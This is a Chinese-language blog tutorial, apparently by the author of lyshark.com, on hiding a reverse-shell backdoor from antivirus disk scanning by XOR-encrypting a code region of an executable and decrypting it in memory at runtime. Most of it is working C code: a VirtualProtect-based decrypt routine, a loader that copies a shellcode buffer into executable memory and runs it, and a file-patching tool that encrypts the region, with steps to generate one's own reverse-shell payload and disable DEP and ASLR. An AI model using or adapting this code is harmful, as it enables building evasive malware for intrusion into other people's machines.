1.9 動態(tài)解密ShellCode反彈
動態(tài)解密執(zhí)行技術(shù)可以對抗殺軟的磁盤特征查殺。其原理是將程序代碼段中的代碼進(jìn)行加密,然后將加密后的代碼回寫到原始位置。當(dāng)程序運(yùn)行時,將動態(tài)解密加密代碼,并將解密后的代碼回寫到原始位置,從而實現(xiàn)內(nèi)存加載。這種技術(shù)可以有效地規(guī)避殺軟的特征碼查殺,因為加密后的代碼通常不會被標(biāo)記為惡意代碼。
利用動態(tài)解密執(zhí)行技術(shù)可以實現(xiàn)免殺。當(dāng)程序中使用了敏感的函數(shù)時,存在被殺的風(fēng)險。通過將代碼段中的代碼進(jìn)行加密,在需要時直接在內(nèi)存中解密,可以避免被殺軟檢測到硬盤文件的特征,從而規(guī)避殺軟針對硬盤特征的查殺手法。
在學(xué)習(xí)本章內(nèi)容之前需要先了解VirtualProtect
函數(shù),該函數(shù)可以動態(tài)調(diào)整特定一段內(nèi)存區(qū)域的讀寫執(zhí)行屬性,該函數(shù)原型如下所示;
BOOL?WINAPI?VirtualProtect(
??LPVOID?lpAddress,
??SIZE_T?dwSize,
??DWORD??flNewProtect,
??PDWORD?lpflOldProtect
);
其中,參數(shù)的含義如下:
??lpAddress:欲更改保護(hù)屬性的虛擬內(nèi)存區(qū)域的起始地址。
??dwSize:欲更改保護(hù)屬性的虛擬內(nèi)存區(qū)域的大小。
??flNewProtect:新的保護(hù)屬性。
??lpflOldProtect:指向變量的指針,用于存儲原始保護(hù)屬性。
有了此關(guān)鍵函數(shù)的支持,那么實現(xiàn)動態(tài)解密執(zhí)行將變得容易,一般而言在設(shè)置權(quán)限之前需要通過VirtualQuery
來查詢一下當(dāng)前權(quán)限并將查詢結(jié)果保存起來,該步驟主要用于在執(zhí)行解密后來將內(nèi)存恢復(fù)到原始位置,接著通過調(diào)用VirtualProtect
函數(shù),將該頁的保護(hù)屬性改為PAGE_READWRITE
,以便可以對該頁進(jìn)行讀寫操作,解密函數(shù)很容易被實現(xiàn)。
void?Decrypt(DWORD*?pData,?DWORD?Size,?DWORD?value)
{
????//?保存查詢結(jié)果
????MEMORY_BASIC_INFORMATION?mbi_thunk;
????
????//?查詢頁信息
????VirtualQuery(pData,?&mbi_thunk,?sizeof(MEMORY_BASIC_INFORMATION));
????
????//?改變頁保護(hù)屬性為讀寫
????VirtualProtect(mbi_thunk.BaseAddress,?mbi_thunk.RegionSize,?PAGE_READWRITE,?&mbi_thunk.Protect);
????//?計算出對數(shù)據(jù)共需要異或的次數(shù)
????Size?=?Size?/?0x4;
????
????//?解密begindecrypt與enddecrypt標(biāo)簽處的數(shù)據(jù)
????while?(Size--)
????{
????????*pData?=?(*pData)?^?value;
????????pData++;
????}
????//?恢復(fù)頁的原保護(hù)屬性
????DWORD?dwOldProtect;
????VirtualProtect(mbi_thunk.BaseAddress,?mbi_thunk.RegionSize,?mbi_thunk.Protect,?&dwOldProtect);
}
如上所示該函數(shù)接受三個參數(shù):pData 是待解密數(shù)據(jù)的指針,Size 是數(shù)據(jù)塊的大小(以字節(jié)為單位),value 是用來異或解密數(shù)據(jù)的值。
首先,該函數(shù)調(diào)用了VirtualQuery
函數(shù)來獲取pData
所在虛擬內(nèi)存頁的信息,然后通過調(diào)用VirtualProtect
函數(shù),將該頁的保護(hù)屬性改為PAGE_READWRITE
,以便可以對該頁進(jìn)行讀寫操作。接下來該函數(shù)計算需要對多少個DWORD
值進(jìn)行異或解密。由于每個DWORD
有4
個字節(jié),所以將Size
除以0x4
就可以得到需要異或解密的DWORD
數(shù)量。
最后,該函數(shù)對每個DWORD
值進(jìn)行異或解密操作,并將解密后的值寫回到內(nèi)存中。解密操作使用了按位異或(^)
運(yùn)算符,即將每個DWORD
值中的每個字節(jié)與value
中對應(yīng)的字節(jié)進(jìn)行異或操作。由于value
是一個DWORD
值,因此在對所有字節(jié)進(jìn)行異或操作時value
的4
個字節(jié)會循環(huán)使用。最后再次調(diào)用VirtualProtect
函數(shù),將該頁的保護(hù)屬性改回原來的狀態(tài)。
主函數(shù)中首先讀者需要自行生成一段32位的反彈ShellCode后門,并將該區(qū)域替換至buf
所處位置處,并編譯這段代碼;
小提示:讀者在編譯時,請關(guān)閉DEP,ASLR,地址隨機(jī)化等保護(hù),否則VA不固定,無法確定位置。
typedef?void(__stdcall?*CODE)?();
int?main(int?argc,?char*?argv[])
{
????DWORD?AddressA,?AddressB,?Size,?key;
????DWORD?*ptr;
????TCHAR?cCode[30]?=?{?0?};
????__asm?mov?AddressA,?offset?BeginOEP
????__asm?mov?AddressB,?offset?EndOEP
????Size?=?AddressB?-?AddressA;
????ptr?=?(DWORD*)AddressA;
????//?設(shè)置加密密鑰
????_tcscpy(cCode,?L"lyshark");
????key?=?1;
????for?(unsigned?int?i?=?0;?i<?lstrlen(cCode);?i++)
????{
????????key?=?key?*?6?+?cCode[i];
????}
????//?執(zhí)行解密函數(shù)
????Decrypt(ptr,?Size,?key);
BeginOEP:
????__asm?inc?eax??//?在十六進(jìn)制工具中對應(yīng)0x40
????__asm?dec?eax??//?在十六進(jìn)制工具中對應(yīng)0x48
????//?MessageBoxA(0,?"hello?lyshark",?0,?0);
????unsigned?char?buf[]?=
????????"\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
????????"\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46"
????????"\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d"
????????"\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34"
????????"\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e"
????????"\xdb\xac\xa6";
????PVOID?pFunction?=?NULL;
????//?分配空間
????pFunction?=?VirtualAlloc(0,?sizeof(buf),?MEM_COMMIT?|?MEM_RESERVE,?PAGE_EXECUTE_READWRITE);
????//?拷貝惡意代碼
????memcpy(pFunction,?buf,?sizeof(buf));
????//?執(zhí)行代碼
????CODE?StartShell?=?(CODE)pFunction;
????StartShell();
EndOEP:
????__asm?inc?eax
????__asm?dec?eax
????return?0;
}
此時我們需要將編譯代碼拖入到WinHex
工具內(nèi),然后按下Ctrl+Alt+X
輸入4048
找到開始于結(jié)束的位置,此處之所以是4048
是因為我們在代碼片段中布置了__asm inc eax,__asm dec eax
是為了方便我們搜索時的特征值,至此我們分別記錄下起始地址592
結(jié)束地址5F4
此處的代碼需要被工具異或加密。

接下來讀者需要實現(xiàn)一個對文件進(jìn)行加密的功能,如下所示的PatchFile();
函數(shù),讀者依次傳入前面生成的后門程序,并分別傳入WinHex
中給出的起始地址及結(jié)束地址,以及一個加密密鑰,此處需保持與上方解密密鑰一致;
//?異或加密
bool?PatchFile(LPCTSTR?szFileName,?DWORD?address1,?DWORD?address2,?LPCTSTR?szRegCode)
{
????TCHAR?szBuffer[30]?=?{?0?};
????DWORD?offset,?Size,?k,?nbWritten,?szTemp;;
????HANDLE?hFile;
????DWORD*?ptr;
????hFile?=?CreateFile(
????????szFileName,
????????GENERIC_READ?|?GENERIC_WRITE,
????????FILE_SHARE_READ,
????????NULL,
????????OPEN_EXISTING,
????????FILE_ATTRIBUTE_NORMAL,
????????NULL);
????if?(hFile?==?INVALID_HANDLE_VALUE)
????{
????????return?false;
????}
????//?對輸入的注冊碼進(jìn)行一定的變換,得到密鑰k?,k?=?F(注冊碼)
????k?=?1;
????for?(DWORD?i?=?0;?i?<?_tcslen(szRegCode);?i++)
????{
????????k?=?k?*?6?+?szRegCode[i];
????}
????Size?=?address2?-?address1;
????//?加密時,每次異或?DWORD數(shù)據(jù),Size是為最終需要異或的次數(shù)
????Size?=?Size?/?0x4;
????offset?=?address1;
????for?(DWORD?i?=?0;?i?<?Size;?i++)
????{
????????SetFilePointer(hFile,?offset,?NULL,?FILE_BEGIN);
????????//?讀取DWORD字節(jié)的文件內(nèi)容
????????ReadFile(hFile,?szBuffer,?4,?&szTemp,?NULL);
????????ptr?=?(DWORD*)szBuffer;
????????*ptr?=?(*ptr)?^?k;
????????SetFilePointer(hFile,?offset,?NULL,?FILE_BEGIN);
????????//?寫入文件
????????if?(!WriteFile(hFile,?ptr,?4,?&nbWritten,?NULL))
????????{
????????????CloseHandle(hFile);
????????????return?false;
????????}
????????offset?=?offset?+?4;
????}
????CloseHandle(hFile);
????return?true;
}
int?main(int?argc,?char*?argv[])
{
????bool?bSuccess?=?PatchFile("d://lyshark.exe",?0x592,?0x5f4,?"lyshark");
????if?(bSuccess)
????{
????????printf("ShellCode?已被加密替換");
????}
????system("pause");
????return?0;
}
這段代碼運(yùn)行后將會通過異或運(yùn)算替換lyshark.exe
程序中的0x592-0x5f4
之間的機(jī)器碼,并以lyshark
為密鑰依次異或替換;
當(dāng)程序沒有運(yùn)行到指定區(qū)域時區(qū)域內(nèi)的數(shù)據(jù)默認(rèn)處于加密狀態(tài),此時的匯編指令集則處于被保護(hù)的狀態(tài);

而一旦EIP指針運(yùn)行到此處時,則此處的代碼將被解密并展開,由于指令執(zhí)行到此處才會被解密執(zhí)行,而未被執(zhí)行則處于加密狀態(tài),所以這將導(dǎo)致多數(shù)磁盤查殺無法查出特征值,內(nèi)存查殺也需要真正運(yùn)行到此處才能確定此處代碼的真正功能;

本文作者: 王瑞 本文鏈接: https://www.lyshark.com/post/a4b8c8b6.html 版權(quán)聲明: 本博客所有文章除特別聲明外,均采用 BY-NC-SA 許可協(xié)議。轉(zhuǎn)載請注明出處!